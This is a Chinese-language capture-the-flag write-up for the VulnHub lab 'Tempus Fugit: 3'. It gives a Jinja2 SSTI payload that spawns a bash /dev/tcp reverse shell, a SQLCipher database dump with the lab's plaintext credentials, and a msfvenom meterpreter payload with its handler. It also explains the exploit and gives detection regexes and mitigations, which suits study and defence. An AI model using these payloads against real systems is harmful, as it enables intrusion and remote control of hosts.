Tempus Fugit: 3靶场
Tempus Fugit: 3
来自 <https://www.vulnhub.com/entry/tempus-fugit-3,398/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.150
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.150
4,无法访问ftp服务器,那就先尝试访问80端口的http服务
再扫描其子目录看看
dirsearch -u http://192.168.23.150 -x 404,403,400
http://192.168.23.150/login
http://192.168.23.150/logout
5,扫描识别网站指纹
whatweb -v 192.168.23.150
技术栈分析
从扫描结果可以看出,该网站使用了以下技术:
- Web 服务器:nginx/1.14.2
- 这是一个较旧的 nginx 版本(当前最新稳定版已远高于此),可能存在已知安全漏洞
- 前端框架与库:
- Bootstrap:用于响应式布局和 UI 组件
- jQuery:JavaScript 库,用于 DOM 操作和事件处理
- Modernizr 2.6.2:用于检测浏览器特性支持
- HTML5:使用 HTML5 标准构建
- 其他特性:
- 页面中包含 frame/iframe 元素
- 存在密码输入字段(可能有登录功能)
- 使用了 X-UA-Compatible: IE=edge 配置,优化 IE 浏览器兼容性
然后发现访问不存在的页面时,404网页会打印出URL
URL测试一下{{7*7}},页面回显不一样了,报错回显中URL参数变成了49,说明{{7*7}}被当作命令执行了,标准的python模板注入漏洞。在这里是URL参数传递存在SSTI模板注入
尝试构造payload
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
构造payload来反弹shell
{{''.__class__.__mro__[1].__subclasses__()[373]("bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1'",shell=True,stdout=-1).communicate()[0].strip()}}
前言
这是一个典型的 Jinja2/SSTI 利用链:通过反射/类型遍历取得能够执行外部命令的 Python 类(通常是 subprocess.Popen 或等效类),调用它来执行一个反向 shell 的 shell 命令(连接回攻击者 IP/端口),并把命令输出注入到模板渲染结果中。
逐段解析
- {{ ... }}
- Jinja2 风格的表达式边界:模板引擎会解析其中的表达式并把结果插入到输出中。若该模板引擎允许求值,这里就是触发点。
- ''
- 一个空字符串字面量。
- ''.__class__
- 取得空字符串的类对象,即 Python 的 str 类(<class 'str'>)。
- ''.__class__.__mro__
- __mro__(method resolution order)是元组,列出类继承链。对 str 来说一般类似 (str, object)。
- ''.__class__.__mro__[1]
- 取继承链中的第二个元素,通常是基类 object。这一步的目的是得到一个“顶层基类”对象,从它可以调用 __subclasses__()。
- .__subclasses__()
- object.__subclasses__() 返回当前 Python 运行时已加载的所有直接子类的列表(一个很大的类列表)。攻击者利用这一点来以“盲枚举”方式找到某些有能力执行系统命令或进行 I/O 的类(例如 subprocess.Popen、file/TextIOWrapper、socket 相关类等)。
- [373]
- 通过索引直接选取 __subclasses__() 返回列表中的第 374 个条目(索引从 0 开始)。重要:这个索引值在不同 Python 版本、不同运行时加载的模块/库不同环境中会改变。利用者通常通过试探或枚举来找到“目标类”在该环境中的下标。这里作者显然认为索引 373 对应一个可直接用于执行命令的类(常见目标是 subprocess.Popen 或类似能执行 shell 的类)。
- ("bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1'", shell=True, stdout=-1)
- 这是在调用上一步取得的类(假设是 subprocess.Popen)的构造器/构造调用参数:
- 第一个参数是要执行的 shell 命令:bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1',这是一条反向交互 shell(reverse interactive shell)的命令,会尝试连接到 192.168.23.128:4444 并把交互式 shell 重定向到该连接上。
- shell=True:告诉 subprocess 在 shell 中执行命令(更危险,因为会经过 shell 解释)。
- stdout=-1:在 Python 的 subprocess 中,stdout=subprocess.PIPE 的数值通常是 -1,表示将标准输出管道化,以便后续用 .communicate() 读取输出。
- 这是在调用上一步取得的类(假设是 subprocess.Popen)的构造器/构造调用参数:
- .communicate()[0]
- 假设前面调用返回了一个 Popen 实例(或其它类似对象),.communicate() 会等待命令完成并返回 (stdout, stderr);取 [0] 就是 stdout 的内容(字节串)。
- .strip()
- 去掉输出两端的空白字符,并把结果作为表达式最终值返回并插入模板输出中。
为什么这会导致 RCE?
- 模板引擎允许表达式求值并访问 Python 对象的特殊属性(如 __class__, __mro__, __subclasses__),攻击者便能从一个安全看似普通的对象(例如字符串)“爬”到 Python 的全局类列表,找到能执行系统命令的类(如 subprocess.Popen),进而调用系统命令并执行任意 shell 命令。
- 一旦能执行 shell,就可做任意事情:文件读写、建立反向 shell、下载/执行二进制、横向移动等。
关于索引 373
- 这个具体索引并不是通用常量;不同 Python 版本、不同已加载模块下,object.__subclasses__() 列表的排序与内容会变化,所以 373 在某个环境下可能正好对应 subprocess.Popen(或 Popen 的某个内部类),但在其他环境可能对应别的类或导致错误/异常。
- 攻击者常常通过探测与枚举来发现有效的索引,或使用更复杂的链来定位目标类(例如利用 __name__、类名判断等),但这些都是利用反射与运行时信息泄漏的技巧。
具体命令作用(可读性解释,不是教人攻击)
bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1' 的目的是在目标机上发起一个反向交互 shell,向远端 IP 192.168.23.128 的端口 4444 建立 TCP 连接,并把当前 shell 的输入/输出都重定向到该连接(攻击者在该端口上监听即可获得交互式 shell)。这明显属于高危入侵行为。
检测策略(可用于 IDS/WAF / 日志审计)
- 请求层面检测:
- 请求体或参数中出现 {{ }}、{%、__class__、__mro__、__subclasses__ 等模板/反射相关关键字的可疑出现频率。
- 匹配正则示例(用于告警,不是阻断规则):
- \{\{.*__subclasses__\(|\{%\s*.*__subclasses__
- __class__\.__mro__
- bash -c 'bash -i|/dev/tcp/|nc -e|/bin/sh -i' (检测明显的反向 shell 特征)
- 响应/行为检测:
- 渲染结果中出现纯数字或不应出现的字符串(例如 49 或命令输出)时提高警报。
- 后端进程出现异常网路连接到未知外部 IP(可结合主机 IDS / 网络流量监控),尤其是到非预期端口(e.g. 4444)。
- 主机/网络层检测:
- 监控进程创建(subprocess 活动、异常的 shell 进程)、异常 outbound TCP 连接、可疑命令执行痕迹。
- Egress(出站)过滤:阻止服务器直接建立到外部任意 IP 的 shell/反连端口,限制只允许必要的外部服务端点。
防护与缓解(最佳实践)
- 绝对不要把未信任的用户输入当作模板源码去渲染。区分“模板”与“模板变量”——用户应该只提供数据,不应该提供会被解释为 template 语法的字符串。
- 使用沙箱环境渲染(如 jinja2.sandbox.SandboxedEnvironment),并尽可能清空或限制 env.globals 与 env.filters。但注意:沙箱并非万无一失,仍需谨慎。
- 尽量禁用/移除对特殊属性的访问(如 __globals__、__class__、__mro__、__subclasses__ 等)——有些安全库提供对此类属性的黑名单过滤,但黑名单会被绕过,白名单更稳妥。
- 模板输入校验:对允许包含模板语法的场景,使用严格的白名单子集或自定义安全解析器,只允许非常有限的表达式。
- 最小权限运行:把渲染任务放在受限权限的进程/容器中执行,限制网络访问与文件系统访问,设置资源/时间限制。
- 网络出口控制:服务器通常不应允许任意发起对外 TCP 连接,使用防火墙限制出站流量,只允许必要目的地。
- 日志和审计:对所有模板渲染请求、异常渲染结果和系统调用进行审计,便于溯源与告警。
- 依赖与框架升级:模板引擎或框架若有安全补丁,要及时更新。
与此同时kali打开对4444端口的监听
成功getshell
6,尝试信息收集一下
cat app.py,发现有一个key
这是一个用 Flask + flask_login 实现的简单 web 应用:从文件读取一些内容、连接一个使用 SQLCipher 的本地数据库做用户验证、实现登录/登出/受保护页面和自定义错误页 —— 但代码里存在多处严重安全和逻辑缺陷(会导致 SSTI/RCE、敏感信息泄露、不安全的密码验证等)
从文件当中还得到了数据库的相对位置static/db2.db。
7,尝试进入sqlite数据库交互获取数据
SQLite 是一个嵌入式的、进程内(in-process)、无服务器、零配置、事务性的 SQL 数据库引擎,源码以公共领域(public domain)发布,广泛部署在移动设备、桌面程序和嵌入式系统中
首先解码key
cd static
sqlcipher db2.db --interactive
PRAGMA key = 'SecretssecretsSecrets...';
.tables
查询整张表
SELECT * FROM users;
由此得到三对账户密码
hugh-janus|S0secretPassW0rd
anita-hanjaab|ssdf%dg5xc
clee-torres|asRtesa#2s
8,使用得到的账户密码登录一下
提示访问41087端口,得到第二个flag
9,前面nmap扫描端口服务的时候并没有扫出来41087端口的服务,那么推测41087的端口服务只在内网开放。写一个脚本对内网进行扫描。先扫描内网IP
for i in {1..254} ;do (ping -c 1 192.168.100.$i | grep "bytes from" &) ;done
cat > scan.py <<'PY' #!/usr/bin/env python3 import socket for port in range(1, 65536): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex(("192.168.100.1", port)) if result == 0: print(port) sock.close() PY |
chmod +x scan.py
./scan.py
10,msfvenom做个木马,上传到靶机方便我后续内网渗透
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=1234 -f elf -o shell.elf
启动msfconsole并设置 handler:
msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.23.128
set LPORT 1234
set ExitOnSession false
exploit
攻击机开启http服务
python -m http.server
然后靶机尝试连接攻击机并接收文件
python3 -c "import socket; s=socket.socket(); s.connect(('192.168.23.128',8000)); open('shell.elf','wb').write(s.recv(1024*1024))"
# 给文件可执行权限
chmod +x shell.elf
尝试失败
11,尝试ssh做一个端口转发到kali
ssh -R 41087:192.168.23.128:41087 root@192.168.23.128